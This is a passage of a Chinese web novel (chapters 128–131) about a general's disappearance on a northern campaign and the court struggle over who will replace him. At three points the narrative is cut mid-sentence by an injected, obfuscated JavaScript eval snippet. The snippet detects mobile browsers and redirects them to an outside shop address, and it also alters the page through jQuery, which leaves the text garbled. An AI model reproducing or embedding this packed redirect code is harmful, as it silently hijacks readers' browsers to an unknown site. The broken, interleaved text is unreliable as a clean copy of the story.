一旁的莲音瞬间变了脸色,埋怨道:“殿下好容易才好些,你怎么就——” “不妨事。”刘安制止莲音,好奇地接过那枚小小的、有些晶莹的雪人,凉凉的。 “真是应了那句,瑞雪兆丰年啊!”刘安心情甚好。 “走,咱们去赏雪!”刘安当即起身,披上厚实的披风,径直走出去,站在廊下。 雪花纷飞,红墙,白雪,倒颇有一番意境。 抬头望去,雪花犹如一片片的鹅毛漫天飞舞,飘然而至。 温国公望着天上鹅毛大的雪花,心中不免平添了几分担忧。 更令他担忧的是,自昨夜定北王刘昶率兵追敌后,便没了音讯。 都过去一天一夜了。 “怎么样?还是没有消息吗?” 128. 御下(三)突传噩耗 前来报信的将领叹了口气,摇摇头。 温国公焦虑地在营帐内踱了一圈又一圈。 胡人突然反扑,其势之迅猛,前所未闻,过后胡人又撤离迅速,毫不恋战,三两下的功夫便不见了踪影,处处透着诡异。 或许,他早该拦住定北王的。 “怎么样?定北王还没消息吗?”以江六的身份留在军营中的刘宁掀起营帐的帘子,大步流星走进营帐。 她才与前来运送粮草军需的逍遥王刘赞在别处闲聊两三句,因见着温国公派出寻找刘昶踪迹的人回来,忙凑过来。 刘赞跟在刘宁身后,见着温国公脸色不好,心中隐隐腾起一股不安来。 “我们一队人在永河附近都找遍了,甚至还趁着黑,都快摸到敌营了,可一路上别说人了,就连一只活物也未曾见着。”报信的将领摇摇头,情绪甚是低落。 逍遥王刘赞听闻此消息,瞬间无法淡然:“怎么回事?怎么就没了消息了呢?” 将领解释道:“今儿雪一直下着,地上积的雪足有半条马腿那么高,白茫茫一片,除了雪,什么也看不到,什么也看不到……” 不单找不到定北王的踪迹,就连定北王率领的一队精骑,也未见踪影。 “怎么会?”刘宁呢喃一声,脚下踉跄,始终无法相信所听到的。 活要见人死要见尸,怎么会什么也找不到呢? 刘赞上前一步扶住刘宁,刘宁求助般的眼神看向刘赞。 温国公脸色一沉:“继续找,即便是掘地三尺也要将人找出来!” “注意,不要泄露任何消息。”温国公叮嘱道。 “是。”将领得令退下,带着人手继续去寻找刘昶的踪迹。 四下无人之际,温国公对着刘宁、刘赞姐弟劝道:“二位殿下,战场凶险,不宜久留,如今定北王殿下音信全无、生死未卜,若是二位殿下再出事,老臣实在无法向陛下及大长公主殿下交代啊!” “温国公思虑周全。”刘赞细想过后,点点头,转而看向刘宁:“五姐,我带你先回永州吧,永州离这里最近,若是七弟有了消息,我们也会第一时间知道的。” “和他们交代什么?”刘宁并未理会刘赞,道:“我是大江的子民,军中的将士们也是大江的子民,他们尚且能在战场上不惧生死奋勇杀敌,我又怎能苟且偷生?” “五姐!这——”刘赞再次出言,岂料话还没说完,便被刘宁打断。 刘宁异常坚决道:“再者,七弟身先士卒,为将士们的表率,我比他还年长几岁,又怎会不明白其中的道理呢?” “只要这仗一日不停,我便一日不走!” “殿下!”温国公劝道,眼见着自己劝不动刘宁,又求助地看向刘赞。 “不必再说,我意已决。”刘宁一抬手,止住温国公与刘赞的话,“大敌当前,焉能临阵脱逃?” 温国公与刘赞二人无法,只得同意刘宁留下。 天色渐暗,雪还未停。 若是刘赞再不回城,只怕明日路上的雪上了冻,行路便会异常艰难。 刘宁拱手道:“六弟,雪天路滑,一路小心。” 刘赞叹了口气,叮嘱道:“刀剑无眼,保护好自己。”说罢,又多看了刘宁一眼,方才不舍地踏上回永州的马车。 刘宁直勾勾地盯着渐行渐远的马车,嘴里喃喃道:“眼下最要紧的,是尽快找到七弟的踪迹。” 北风呼啸吹了一夜,刘宁也听了一夜,手里的弓不知擦拭了多少遍,在烛火的照映下还泛着光。 天刚蒙蒙亮时,风才停下,雪也停了。 将领们晨起操练的声音中,夹杂着一阵急促的马蹄声。 刘宁一下子就听出来了,下意识朝着温国公看去。 温国公忙将人带到自己营帐中,问道:“可是有了消息?” 将领将一具马鞍放下,垂着头,声音沉闷道:“找到了,找到了定北王殿下的坐骑。” 刘宁紧盯着地上的那具马鞍,耳朵里已经听不下去其他的了。 是的,是她七弟的马鞍,是他的! 那还是她为他选的!她一眼就认了出来。 是他的! 刘宁双手攀住将领的肩膀,急切问道:“他人呢?” “殿下……他人呢?”意识到自己的失态,刘宁忙又找补道。 将领垂下眼睛,摇摇头。 刘昶身边人的尸身被找到,甚至刘昶的战马也被找到,可人…… 刘宁不可置信地盯着面前的将领,始终不敢相信,她七弟人呢? “继续找!”温国公沉着脸道。 待屏退了身边的人,温国公看向刘宁道:“殿下,我们……得做最坏的打算了。” 刘宁不信:“不会的……不会的……七弟不会有事的,一定不会有事的。” 温国公又何尝不希望定北王刘昶无事? 事关重大,刘昶失踪的消息,必须传回京内,大长公主殿下必须知晓! 一封百里加急递回京中。 “百里加急?莫不是昶儿又打了胜仗、大挫敌军?”刘安接过,同一旁的温嘉诚、莲音等人说笑道。 莲音笑道:“必然是的,定北王殿下骁勇——”话还没说完,便见刘安脸色骤变,莲音顿时失音。 “殿下?”温嘉诚察觉到异样,试探着叫了声刘安。 刘安惶惶起身,还没站稳便只觉眼前一阵晕眩,扑通一声又坐回椅子上。 “殿下!”周边人一声接一声的惊呼。 刘安双目圆睁,咬牙切齿道:“昶儿失踪……”手里那封百里加急被攥得紧紧的。 “什么?”温嘉诚不敢相信自己听到的。 一旁的莲音、莲房等人听闻此言,皆是倒吸一口凉气,不可置信地倒捂住嘴巴。 定北王勇猛,可称为战神,怎么会……怎么会失踪呢? 怎么会失踪呢? 刘安随手将百里加急甩给温嘉诚,一手揉按着发胀的太阳穴,怔怔出神。 温嘉诚忙接过细看,待扫了一眼过后,亦如刘安般大惊失色:“父亲说,定北王追敌数十里,踪迹全无……” “踪迹全无……” 温嘉诚又反复看过数遍,眼前却只有“踪迹全无”四字。 温嘉诚不可置信道:“怎么会?” “是啊,怎么会?怎么会呢?怎么会失踪了呢?莫不是……”刘安喃喃道了数声,胸口只觉翻涌上来一阵腥甜。 望着从刘安嘴里吐出来的一大口鲜血,温嘉诚等人顿时慌作一团,整个福康宫也乱成一团。 不消片刻,刘绥也得知了刘昶失踪的消息,也是亦如刘安般踉跄数步:“定北王……怎么会失踪呢?” “那北征一事——” 定北王失踪,那北征可该如何是好?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274325|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>倾全国之力供养的北征战事,难不成就要败了? 难道就要……败了? 刘绥心中自是不甘得很。 眼珠转圜间,蔡岑心头便有了主意,笑意盈盈道:“陛下,定北王失踪,不还有温国公吗?” “再者,此时想来福康宫那边会更慌乱吧。” 刘绥面无表情,冷冷瞥了眼蔡岑,等着她继续说下去。 “这些年仗着定北王与逍遥王两位,福康宫那位军政财务一手抓,如今定北王杳无音讯,大长公主犹如断了一条臂膀,此时,不正是陛下大展身手的时候吗?” 听罢,刘绥收回落在蔡岑身上的目光,转眼间周身紧绷的情绪卸下,放松地倚靠着椅背,道:“是啊,还有温国公呢。” 北征上有温国公这枚老将坐镇,他便可在京城大展拳脚了。 刘绥转着大拇指上套着的玉扳指,当即唤来杨仕鑫:“常言道,母子连心,如今朕的皇兄生死未卜,想必容娘娘心中也会十分不安吧。” 刘绥面露戚戚之色:“白发人送黑发人,乃世间一大悲矣。” “可朕又不能独独瞒着容娘娘,瞒着皇兄的生母。” “去吧,去吧,去把皇兄的消息告诉她吧。”说罢,刘绥神色颇为不忍,缓缓以手扶住额头,黯然伤神。 定北王的生母容太嫔,早在先帝在时,与刘安的关系颇为亲近,少,如今儿子失踪,少不得要与刘安闹上一场呢。 他自然很乐意看到这一幕。 容太嫔才从杨仕鑫嘴里得知刘昶失踪的消息,哭得晕厥多次,醒来后便马不停蹄从承道帝陵前来到皇宫内,求到福宁殿面前。 虽说朝政均由大长公主做主,来找皇帝兴许不如去求大长公主,可到底也不好直接越过皇帝才是。 听着外头的哭闹声,刘绥直接闭门不见。 杨仕鑫抬眼偷偷瞥了眼刘绥,讪讪笑道:“陛下,容太嫔毕竟为先帝尽心尽力守灵多年,此时若不见,只怕不大好吧,若是被朝臣们知道,只怕又要说陛下……” “说什么?不敬尊长?还是说朕不孝啊?”刘绥似笑非笑道。 “朝臣们的嘴,陛下又不是不知道,即便是芝麻绿豆大小的事儿,在他们嘴里就像天塌下来一样,奴不是——”杨仕鑫劝道。 刘绥一声冷哼,吓得杨仕鑫不敢再说下去。 刘绥皱眉,上下打量道:“杨仕鑫,你近来话颇多啊,谁教你说的这些?” “陛下?”杨仕鑫惶惶抬头,不解地看向刘绥,刘绥理都不理他,只一味地提笔临摹字帖。 先前,先前他不管他怎么劝陛下,陛下从不会这么疏远地对他说话的,如今是怎么了? 杨仕鑫目光向左滑去,落在了刘绥与蔡岑时不时会碰到的手指上,最终落在研墨的蔡岑身上。 刘绥身旁的蔡岑头也不抬,只管安心研墨。 “还愣着干什么?”刘绥的余光瞥见杨仕鑫还跪在原地,甚是不耐烦道,“还不快把人打发了?” 容太嫔不是蠢人,隐约能猜到刘绥的意思,仅是自嘲地笑了两声。 罢了,也没指望着皇帝能帮她找儿子。 到底还是要指望着大长公主。 容太嫔身边的嬷嬷抹了把眼泪:“娘娘,这下可该怎么办?难道咱们殿下……” 容太嫔低声呵斥:“哭什么?” “去福康宫,求大长公主。” 129. 御下(四)重重危机 容太嫔还没迈进福康宫的门,便被莲亭、莲房二人拦下。 “容太嫔,我们殿下身体不适,若是没什么要紧的事,还请改日再来。” 容太嫔蹙眉道:“正是因为有要事,才这时来,二位宫侍若是方便,放我进去见大长公主一眼吧。”说着说着,两行眼泪顺着脸庞滑下。 莲亭与莲房二人并没有半分的退让,再次劝道:“莲音姐姐才吩咐了,任何人来都是不见的,还望容太嫔别为难我们两个了,还是……改日吧,若是实在要紧,不如去见陛下……” “改日……只怕真的就一点儿指望都没了。”容太嫔身旁的嬷嬷带着哭腔诉道:“我们也是才刚从福宁殿过来……” 容太嫔摇摇头,一把抓住嬷嬷的手臂,不让嬷嬷再继续说下去,转而面露担忧:“大长公主这是怎么了?” 莲房与莲亭二人对视一眼,默契地摇摇头,未将定北王刘昶失踪的消息说出口。 自陛下登基以来,容太嫔便一直守在先帝灵前,鲜少入宫来,今日却不知为何执意要见大长公主。 可如今殿下身弱,若是让容太嫔得知定北王失踪,只怕会扰得殿下不能安枕。 莲亭道:“如今正值深冬,雪连日地下,殿下又成日的劳累,难免体弱受寒。” 眼见着容太嫔还欲再言语,莲房赶忙将容太嫔拉到一旁,低声补充道:“殿下前儿不知怎的,生生吐了一大口血,如今只怕还昏迷不醒呢。” “这……”容太嫔眼里噙着泪,咬了下嘴唇,连连摇头。 承道帝在时,公主的身体还算康健,如今怎的…… 一面是自己儿子刘昶生死未卜,一面是大长公主刘安昏迷不醒,眼下可该如何办才好? 容太嫔抬手擦了下挂在下巴上的两滴硕大的泪珠,脚下艰难挪动着步子:“那……那我等大长公主醒了吧……” 莲房与莲亭二人听得容太嫔这么说,却见容太嫔等人依旧站在原地,没有丝毫退让之意,二人对视一眼,依旧挡在容太嫔面前拦着。 双方正僵持之际,外头的小宫女匆匆来报: “王太傅、右相等人来了,说是要求见大长公主!” “二位姐姐,我们实在是拦不住啊!” 莲房与莲亭,甚至容太嫔,皆是一滞:他们来做什么? “拦不住?”莲房脸色一冷,厉声道:“他们还想擅闯福康宫吗?” “去调宫里的禁卫来!” “福康宫还容不得他们放肆!” 莲房跟着来报信的小宫女刚迈出一步,又担心莲亭一人拦不住容太嫔,咬着牙又撤回脚,与莲亭一同拦在容太嫔面前。 容太嫔看得出莲房的担忧,道:“莲房姑娘,你且去外面看看吧,大长公主如今的情况,我看在眼里。” 话音刚落,外头高昂的声音又起: “殿下,老臣王落儒有要事相商!” “殿下,臣程显求见!” “事关朝政!” 声音愈来愈近,愈来愈高。 “殿下——” “莲音,扶我起来吧。”刘安缓缓睁开眼,清了清发腥发甜的喉咙,慢慢抬起手。 “殿下……”莲音放下药碗,握紧刘安的手,弯身搀扶着刘安坐起身来,眼见着刘安面色苍白,鼻头不免一阵酸楚。 她不明白,殿下明明这么尽心尽力,为什么,为什么那群人还要这么逼迫殿下? “殿下不过是两三日未听朝罢了,朝中不是还有陛下呢吗?” “梳妆吧。”刘安轻声道,径直走向梳妆台。 然则刚走两三步,刘安眼前一黑,脚下竟踏空了一步,幸得用力抓住了莲音,也幸得莲音抓得紧。 “无碍。” 刘安找补道:“许是躺久了吧。” 莲音吸了吸鼻子,熟练地为刘安描眉绾发髻。 刘安看了眼镜中的自己,即便眼神再怎么凌厉,脸上总有一股没由来的虚弱。 刘昶失踪一事,对她的打击确实很大。 刘安走出内殿,看见容太嫔还在,不由得别过脸去。 七弟失踪,她不知该有何颜面再见容娘娘。 “殿下——”容太嫔放下茶盏,迎上前来。 刘安面色尤为虚弱,容太嫔想说的话在嘴里打了几个圈,不得已,又咽了下去:“许久不见殿下,殿下瘦了许多。” 刘安勉强笑着,眼神躲闪,寒暄客套道:“如今不比从前,事事皆要操劳,可不就瘦了……” 说着,刘安扫了眼容太嫔,感慨道:“容娘娘看着也清瘦不少。” 容太嫔吸了吸鼻子,拉着刘安的手,重重叹了口气。 两人都默契地未提及刘昶的事。 容太嫔身旁的嬷嬷见自家主子迟迟不说正事,忙不迭开口道:“大长公主殿下!我们娘娘自打知道了定北王生死未卜后,整日以泪洗面,老奴看在眼里痛在心里!” “我们娘娘可就定北王一个孩子!如今定北王殿下生死未卜,还望殿下多派些人手去寻!” 刘安冷冷瞥了眼跪在地上哭得一把鼻涕一把泪的嬷嬷。 前儿才刚得的百里加急,容太嫔久不在皇宫,她们又是从哪儿知道的刘昶失踪的消息? 容太嫔带着些哽咽,厉声喝道:“住嘴!” 刘安与容太嫔中间的这层薄薄的窗户纸被戳破,两人皆是不忍地望向对方。 殿内一片寂静,只能听得见嬷嬷与容太嫔低声的抽噎声。 刘安长叹一声,抬手为容太嫔擦去眼泪,道:“容娘娘,眼下的局面不是我想看到的,昶儿的失踪,也是我未曾料想到的,我也不想……” 容太嫔顺势拉着刘安的手,哭诉道:“我知道我知道的,若是昶儿是战死沙场也就罢了,我也就死心了,我也就不再来烦扰殿下了。” “自打这孩子上了战场,我便时时做好了准备,可这么久并未有死讯传回来,就连前线的温国公,在百里加急中也未曾明说,昶儿他便还有一线生机,我身为人母,如何能不忧心焦虑?” “我一忧心他尸骨无存,二来忧心他落入胡蛮手里……”容太嫔双手止不住地打颤,膝盖一弯,恨不得能跪在刘安面前求她:“殿下!还望殿下再加派些人手再多找几日吧!” “容娘娘!”刘安惊呼一声,连同身边的莲音等人一同搀扶起容太嫔。 “容娘娘侍奉父皇多年,是长辈,我又岂能受容娘娘这一拜?” “容娘娘放心,我一定会找到七弟的。” “一定会的。” 得了刘安的允诺,容太嫔却不见得有半点释然,毕竟,刘安现在的样子,她实在不忍心逼迫。 容太嫔抹了把无可奈何的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274326|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪,还想继续说,不想程显声音一浪高过一浪: “殿下——臣程显求见——” 刘安无奈摇头苦笑一声:“容娘娘,眼下的情形容不得我。” “臣程显求见大长公主——” 容太嫔深吸一口气,脸上神色添了分凛然,心里又放心不下刘安,不免回头看了刘安一眼,脸上神色又柔和不少。 “安儿别怕,他们,哼……就交给容娘娘吧。”容太嫔冷哼一声,抬手为刘安将两缕垂落的散发别在耳后,柔声安慰道:“你放心,有容娘娘在,保管他们扰不到你。”说罢,容太嫔卸下柔情,带着莲房、莲亭等人,径直走出去。 见着容太嫔出去,刘安侧头附在莲音耳边:“去查——” “近日有谁见过容娘娘,还有——” “派莲房出宫传温相入宫。” “让莲亭拿上禁军的兵符,去调一队禁军在福康宫外守着。”说罢,刘安端坐于大殿主位上等待。 “是。”莲音不敢有丝毫耽搁,忙去操办。 “臣等求见大长公主——” 程显再次高呼一声,脚下步子又迈进一步,挡在程显面前的宫人们不由得后退半步。 眼看着程显等人就要迈入殿中,容太嫔也走出大殿,挡在程显、王落儒等人面前。 “吵什么!” “都把宫里的规矩当摆设吗?” 王落儒与程显等人均未曾想到容太嫔也在此处,神情闪过些许错愕,不过转瞬便恢复如常。 容太嫔眼神锐利,直直盯着带头的程显,缓步逼近:“诸位大人,你们这是在做什么?” 王落儒上前一步,张了张嘴,但被程显坑过的往事历历在目,不由得闭上了嘴,看向程显:“右相,既然此事由你牵头,那便由你来说明吧。” 程显冷眼扫过王落儒,心里暗骂了一声老匹夫,面上神色未动,道:“我等前来,与容太嫔所来目的一致,皆是为了定北王而来。” “哦?为了昶儿?”容太嫔扶了扶头上的发钗,踱了两步:“怎么?昶儿可是又打了胜仗,你们来为昶儿请功吗?” 听得容太嫔这般说,看样子她还不知定北王刘昶失踪的消息。 程显与王落儒不由得对视一眼。 程显收回眼神,淡淡道:“太嫔还不知道吧,定北王贪功冒进,直追敌寇几十里,如今落得个音信全无,北征前线唯余温国公一人。” “如今正值要紧关头,臣等是来请大长公主拿个主意,眼下该派何人前去北征前线?” 贪功冒进……容太嫔听后,狠狠瞪了程显一眼。 她的昶儿她最清楚,昶儿骁勇,绝不是贪功冒进就之人! 容太嫔问道:“朝中用人之事,不是自有陛下裁定吗?” 朝中局势她虽不大懂,但安儿如今病弱,不可再过度劳累,因而出言替刘安推脱道。 程显上下打量番容太嫔,甚是不屑嗤笑一声:“朝政大事,太嫔就休要插手了。” 容太嫔眼睛眯起,深吸一口气,牙齿咬得嘎吱作响,怒极反笑。 “烦请容太嫔——”程显话还没说完,便听得身后传来一声高亢的女音,还有一阵甲胄兵器整齐划一的碰撞声。 “食君俸禄为君分忧,诸位大人难道只是些尸位素餐的宵小之辈,尚不能为陛下出言划策吗?” 130. 御下(五)波橘云诡 来人正是江朝女相,温嘉诚,身后还跟着两小队禁卫军。 温嘉诚身着一袭玄色官服,一手背于后,一手扶于腰间玉带,缓步朝着诸人走来。 移步间,环佩叮当作响。 温嘉诚目光如利刃般锋利,一一扫过在场诸人。 原先还志在必得的程显、王落儒等人则是纷纷变了颜色。 谁也不敢打包票,把福康宫这位逼急了,她能做出来什么。 更何况负责皇宫守卫的禁卫军、羽林军都在福康宫这位的掌握之中。 王落儒站出来打圆场,讪讪道:“左相言重了。实在是近两日朝堂上大事颇多,一时间诸臣都拿不定主意,需得由大长公主决断才是。” 容太嫔后撤一步,让出位置,温嘉诚顺势迈上台阶站住,挡在诸人面前,挑眉乜视,语气也趁势缓和,道:“今日早朝,陛下不已有了决断吗?” 王落儒道:“此乃危急之刻,稍有不甚,便是血流千里,陛下到底年幼,到底……还是得有大长公主裁定才是,更何况——” “更何况当日北征一事,全由大长公主敲定,自然这近日用人一事,也自当由大长公主决定才是。”眼见着禁卫军驻足与宫门外,并未紧跟着温嘉诚,程显已无了方才的战栗,出言道:“毕竟,大长公主独掌玺印,乾纲独断,谁能越得过她呢?” 程显说罢,挑衅般地对上温嘉诚的眼睛,对上温嘉诚那双怒火中烧的眼睛。 温嘉诚眼皮微动,直直盯着程显,久久未曾言语。 才刚有些缓和的气氛瞬间凝滞。 “呸!程显算个什么东西!也敢这么编排殿下!”远远注视着一切的莲亭躲在附近的连廊,站在柱子后,同样紧盯着程显等人的背影,压着声音,恨恨啐了一口。 不知何时站在莲亭身后的钱衡量,望着程显,过往种种皆浮于眼前,同样也恨恨道:“是啊,卖弄权势,故作清高,他程显又算个什么东西!” 当日若不是程显一意孤行,鼓动二殿下借着京城平叛后的混乱夺权,二殿下也不会落得如今这么个被终身监禁的下场,二殿下也不会与皇位失之交臂。 一想到二殿下刘仲,钱衡量的拳头便不由自主地攥紧了。 “嘘!嘘!嘘!”听着钱衡量这毫不遮掩的音量,还有纷纷扭头看过来的目光,莲亭慌得一把死死捂住钱衡量的嘴,紧接着将钱衡量塞到宽大的柱子后。 多多少少,大家还是听到了零星几个字,站在后排凑数的小官们不免互换眼神、交头接耳。 跟着王落儒来的三两个出身世家的臣子,本就觉得程显等人挤占了他们在朝堂上的席位,本就与程显等人不对付,听得此言更是嬉笑一声。 程显此时的脸色是一阵青一阵红一阵白,暗自咬紧着牙关,余光朝着莲亭站的位置搜索着。 王落儒看戏地瞥了眼程显,清了清嗓子,站出来笑道:“依我看,大家都少说两句吧,天气干燥,难免都火气大些。” 正此时,莲音安排好人手,从福康宫外走来,先是伸手招来莲房,将这一路上探听到的消息悉数说与莲房,大臣们此次前来,一为定北王,二为诚王。 定北王失踪,虽有温国公坐镇,但到底还是有谣言散步,军心不稳。 再者,诚王称病,推脱无法入京,朝臣们没了主意。 莲房听得仔细,一字一句都不敢遗漏,待莲音语毕,小跑着将话传给刘安。 莲音交代完后,朝着容太嫔与温嘉诚的方向轻轻点头示意。 容太嫔眨眼示意,轻轻拉了拉温嘉诚的衣袖,顺势笑道:“各位大人们在福康宫都站了这么久,待会见到大长公主,该向大长公主讨杯降火的茶吃才是啊!” 王落儒忙附和:“是啊是啊,此乃我等的福气。” 说着,王落儒抬脚迈上台阶,同温嘉诚道:“温相,大家都是为着朝政而来,情急之下,难免口不择言,可大家为国为民,一片赤诚,天地可鉴!” “是啊是啊,我等一心为国!”眼见着温嘉诚神色有所缓和,跟着王落儒来的三两个出身世家的臣子急于和程显划清界限,忙附和道。 再怎么说,温相出身世家,又曾嫁与东宫,与程显相比,他们这些出身世家的东宫旧臣,自然与温相更亲近些。 “诸位大人们久等了。”莲音亦步亦趋,走到温嘉诚与容太嫔身旁,稳了稳气息,先是同容太嫔道:“朝臣们有要事见大长公主,还请太嫔移步偏殿等待。”说罢,莲音一招手,不远处的莲房、莲亭纷纷现身,前来为容太嫔领路。 容太嫔点点头,跟着莲房、莲亭两个去了偏殿,临走前,还不忘剜程显一眼。 送走容太嫔,莲音神色如常,转向诸位臣子,面上带笑,高声道:“殿下召见,烦请诸位大人移步——” 一时间,宫门大开,宫侍们步伐划一,各司其职。 刘安稳坐于大殿高台之上,睥睨着鱼贯而入的七八个臣子们,她都记下了。 程显与温嘉诚并肩而入,待站定前,程显用仅两个人能听到的声音道:“别太得意。” 温嘉诚斜了程显一眼,以仅两人能听到的声音,冷哼一声。 “诸位卿家因何事而来?”刘安垂眼拨了下暖炉里发灰的木炭,漫不经心道。 大殿空旷,声音少不得萦绕两三遍,也在众人耳中重复了两三遍。 程显垂着头,抬眼瞥向王落儒,见王落儒身形未动,丝毫不理睬他,不得已先开口道:“殿下,定北王因贪功冒进,追敌几十里,延误北征战机!” 王落儒侧身支起耳朵,当着刘安的面,听得程显不改言辞、一如既往这般说,不由得对程显升起一股钦佩之意。 到底是做了多年的直臣,这点气魄还是有的。 “那依右相看来,此事该当如何?”刘安语速缓慢,眼珠瞟向温嘉诚,看到温嘉诚微微点头示意,心里稍稍安稳,出言拖延道。 刘安因急火攻心,昏迷两日,也不理政务有两日,今日才醒,先是遇着容太嫔哭诉,再是遇着程显等人求见,才听莲房说完这两日朝堂上的变动,还未来得及整理思绪。 “臣——”程显皮笑肉不笑道:“见识浅薄,远不及殿下高瞻远瞩,哪里敢在殿下面前卖弄?” “右相实在不宜过于妄自菲薄。”温嘉诚扭头看向身旁的程显,笑道:“天下谁人不知,右相是承道十六年的探花郎,又执掌户部多年,两朝老臣了,焉能是见识浅薄之辈?” 说到此处,温嘉诚掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274327|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴轻笑两声,语气带了些许轻快:“莫不是右相还在为我方才那些话生气故而不肯为国、为民、为我大江出言划策?” “若真是如此,真真儿是我的不是,嘉诚言语有失,还望右相海涵。”说着,温嘉诚拱手作揖,向程显赔不是。 刘安冷冷看着。 程显久久未予回应,王落儒站不住,忙出言和稀泥道:“温相真是言重了,温相无心之言,谁又会真的放在心上呢?” 王落儒碰了下程显的胳膊,笑道:“是吧,程大人?” 程显甩了甩衣袖,淡淡道:“两位大人言重了,温相心胸宽广,程显也并非那起子心胸狭隘之人。” “正是呢。”温嘉诚掩嘴呵笑两声,转身面对着刘安,道:“方才还在殿外说呢,如今天气干燥,正想着向殿下讨口降火的茶吃呢,还望殿下不要吝啬才是。” 刘安笑道:“赐茶。” 莲音笑眼弯弯,高呼一声:“赐茶——” 不多时,数杯精致茶盏奉上,数名臣子起声谢过,迟疑片刻,眼见着温嘉诚带头饮下,再见为首的程显、王落儒也跟着饮茶,他们便也跟着纷纷饮下。 一口茶水梗在程显喉间,艰难下咽。 程显充满戒备的余光瞥了眼众人,见众人皆饮尽茶水,想来刘安也不会大庭广众之下下毒害他,最终还是咽下这口茶水。 程显放下茶盏,道:“臣以为,定北王贪功冒进,延误战机,是为过。有功当赏,有过当罚,赏罚分明,方为清正之道,还望殿下下令惩处定北王。” 刘安眯起眼睛,看向王落儒:“太傅大人亦是这般想吗?” 王落儒道:“赏罚该分明,今日早朝,陛下亦是这样说。” 刘安若有所思,点点头,道:“赏罚是该分明,只是……” 刘安一顿,笑道:“温国公百里加急说,定北王音信全无,即便是下旨惩处他,也要先找到他人啊!” 温嘉诚附和道:“是啊,殿下言之有理。” 程显道:“殿下,定北王身为北征主将踪迹全无,又恰逢两军交战之际,实难不令人揣测遐想……” 程显话未说完,但话中的意思,他相信刘安能听明白。 一个踪迹全无、生死未卜之人,即便什么脏水泼他身上,他也无法反驳。 说白了,刘安之所以能乾纲独断、坐稳朝局多年,不就是靠着她手握兵符、与她亲近的定北王在外领兵、金中堂掌管着护城军吗? 如今没了定北王,接下来,便是金中堂。 待她没了军队的助力,她又如何坐得稳抚政的位置? 小皇帝又如何坐得稳? “为今之计,一来殿下下令惩处定北王,免了定北王北征主将的名头,二来,也是今日早朝上争论不休之事。” “当新派人手担任北征主将。” 换将?刘安神色一滞,忙看向莲音、莲房,莲房转达时并未提及此事。 莲音与莲房也是一惊,对视一眼,齐齐看向温嘉诚。 温嘉诚也深感狐疑,侧头看向程显,道:“今日早朝,陛下不是将北征事宜全权交由温国公吗?” “程大人此言何意?” 王落儒亦是皱眉看向程显。 131. 御下(六)北征余波 “温相,北征一事,非同小可,如今又逢战事紧急之时,绝非温国公一人便可决议。” 程显噗嗤一笑,抬眼看向刘安,眉头挑动:“当初殿下设定北王为北征主将,温国公为副将,不就是这般想的吗?” “故而思来想去,还是应当更换主将才是。” 刘安嘴角细微扯动一下,似笑非笑。 当初她选温国公,一来是信得过温国公,二是怕刘昶年轻,恐惹来群臣轻看,不想今日竟成了程显口中无法辩驳的话。 刘安勉强扯动嘴角,连连点头:“不错,程卿所言有理,不知程卿以为,朝中哪位将领可当此大任?” 刘安食指轻轻点在扳指上,心中盘算着朝中可用的将领。 自打程显这批人上任以来,文官当道武将凋敝,鲜少有能担当得起北征战事的将领。 若细数起来,兴许开国公家在军中还有些威望。只是开国公的后辈多不争气,一时间竟挑不出人来,也不知程显心中合适的人选是谁,想到此处,刘安眉头压低,看向程显。 程显无视其余臣子们的视线,自顾自道:“护城军将领金中堂。” 金中堂!刘安眼前瞬间一亮,金中堂忠心耿耿,她怎么把他给忘了? 程显解释道:“金将军曾率军支援栾南,与胡人作战经验丰富,想来担任北征主将一事,也是手到擒来。” 是啊,金中堂经验丰富,派他去,刘安最信任不过了。 只是,这话从程显嘴里说出来,刘安多少有些戒备。 王落儒对程显擅自更改议题甚是不满,出言道:“金中堂是护城军的主将,若调他去前线,这京城的防卫又该交到何人手里?” 兀地,一句话点醒刘安与温嘉诚,两人对视一眼,交换着心头的不安。 诚王称病,刘昶失踪,北征换将,如今京城防卫又要交到旁人手里,这一桩桩一件件接踵而至,如何能让她不多想呢? 刘安慢慢坐直身子,眼睛紧盯着程显。 程显胸有成竹开口,音还未发出,便被刘安打断: “此事事关重大,当明日早朝与陛下、与满朝文武商议后再定。” “太傅大人,你说是吧?”刘安垂头理了理衣袖,瞥了眼手炉中不再火热的炭火,懒得再与程显胡扯。 王落儒笑呵呵道:“殿下所言极是。方才右相所言换将一事,陛下还不知道吧,理当先奏禀陛下再做决议,右相为官数载,不会这点规矩都不懂吧?” 容不得程显开口,温嘉诚附和道:“想来程大人也是忧心北征战事,情急之下,这才忘了规矩失了分寸吧。” 温嘉诚、王落儒两人一唱一和,带头呵呵干笑两声,身后的官员也附和笑着。 